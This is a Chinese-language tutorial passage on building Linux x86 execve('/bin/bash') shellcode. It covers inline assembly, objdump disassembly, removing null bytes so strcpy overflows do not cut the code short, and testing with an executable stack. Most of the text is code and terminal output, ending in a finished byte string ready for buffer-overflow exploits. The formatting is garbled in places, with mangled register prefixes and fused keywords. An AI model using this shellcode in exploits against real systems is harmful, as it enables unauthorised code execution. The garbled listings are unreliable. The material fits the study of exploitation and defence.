下面,我们用C语言内嵌汇编的方式,构造shellcode,具体代码如下。有一点要注意,Linux X86默认的字节序是little-endian,所以压栈的字符串要注意顺序。(如“/bin/bash”,其16进制表示为0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68,在little-endian模式下,其表示为0x68 0x73 0x61 0x62 0x2f 0x6e 0x69 0x62 0x2f,其中有个小技巧,不足4字节的用0x2f(即“/”)补足)。
root@linux:~/pentest# cat shellcode_asm.c
#include
intmain(intargc,char**argv) {
__asm__
(" \
mov {1}x0,%edx; \
push %edx; \
push {1}x68736162; \
push {1}x2f6e6962; \
push {1}x2f2f2f2f; \
mov %esp,%ebx; \
push %edx; \
push %ebx; \
mov %esp,%ecx; \
mov {1}xb,%eax; \
int{1}x80; \
");
return0;
}
root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
root@linux:~/pentest# ./shellcode_asm
root@linux:/root/pentest# exit
exit
root@linux:~/pentest#
通过编译执行,我们成功的得到了shell命令行。在编写内嵌汇编时,一定要注意格式问题;当然,最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。
此时,编写工作还没有完结,要记住我们的最终目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出攻击,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。
用objdump反汇编这个shellcode,并查看是否包含0,命令为:
objdump –d shellcode_asm | less
该命令将会反汇编所有包含机器指令的section,请自行找到main段:
08048394 :
8048394: 55 push %ebp
8048395: 89 e5 mov %esp,%ebp
8048397: ba 00 00 00 00 mov {1}x0,%edx
804839c: 52 push %edx
804839d: 68 62 61 73 68 push {1}x68736162
80483a2: 68 62 69 6e 2f push {1}x2f6e6962
80483a7: 68 2f 2f 2f 2f push {1}x2f2f2f2f
80483ac: 89 e3 mov %esp,%ebx
80483ae: 52 push %edx
80483af: 53 push %ebx
80483b0: 89 e1 mov %esp,%ecx
80483b2: b8 0b 00 00 00 mov {1}xb,%eax
80483b7: cd 80int{1}x80
80483b9: b8 00 00 00 00 mov {1}x0,%eax
80483be: 5d pop %ebp
80483bf: c3 ret
从反汇编结果可以看到,有两条指令“mov $0x0,%edx”和“mov $0xb,%eax”包含0,需要变通一下。我们分别使用“x0r %edx,%edx”和“lea 0xb(%edx),%eax”来替换。
root@linux:~/pentest# cat shellcode_asm.c
#include
intmain(intargc,char**argv) {
__asm__
(" \
xor %edx,%edx; \
push %edx; \
push {1}x68736162; \
push {1}x2f6e6962; \
push {1}x2f2f2f2f; \
mov %esp,%ebx; \
push %edx; \
push %ebx; \
mov %esp,%ecx; \
lea 0xb(%edx),%eax; \
int{1}x80; \
");
return0;
}
root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
root@linux:~/pentest# ./shellcode_asm
root@linux:/root/pentest# exit
exit
root@linux:~/pentest#
运行没有问题,再看看这个shellcode有没有包含0:
08048394 :
8048394: 55 push %ebp
8048395: 89 e5 mov %esp,%ebp
8048397: 31 d2 xor %edx,%edx
8048399: 52 push %edx
804839a: 68 62 61 73 68 push {1}x68736162
804839f: 68 62 69 6e 2f push {1}x2f6e6962
80483a4: 68 2f 2f 2f 2f push {1}x2f2f2f2f
80483a9: 89 e3 mov %esp,%ebx
80483ab: 52 push %edx
80483ac: 53 push %ebx
80483ad: 89 e1 mov %esp,%ecx
80483af: 8d 42 0b lea 0xb(%edx),%eax
80483b2: cd 80int{1}x80
80483b4: b8 00 00 00 00 mov {1}x0,%eax
80483b9: 5d pop %ebp
80483ba: c3 ret
80483bb: 90 nop
80483bc: 90 nop
80483bd: 90 nop
80483be: 90 nop
80483bf: 90 nop
可以看到,所有曾经出现0的指令,在进行指令替换之后,所有的0全部消除了。注意,我们只提取嵌入汇编部分的指令的二进制代码作为我们的shellcode使用,即从0x8048397到0x80483b2地址之间的指令。
即,我们生成的shellcode为:
\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
root@linux:~/pentest# cat test_shellcode.c
#include
charshellcode[] =
"\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"
"\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
intmain(intargc,char**argv) {
__asm__
(" \
call shellcode; \
");
}
root@linux:~/pentest# gcc -g -o test_shellcode test_shellcode.c
root@linux:~/pentest# ./test_shellcode
Segmentation fault
root@linux:~/pentest# gcc -z execstack -g -o test_shellcode test_shellcode.c
root@linux:~/pentest# ./test_shellcode
root@linux:/root/pentest# exit
exit
root@linux:~/pentest#
可以看到,shellcode提取成功!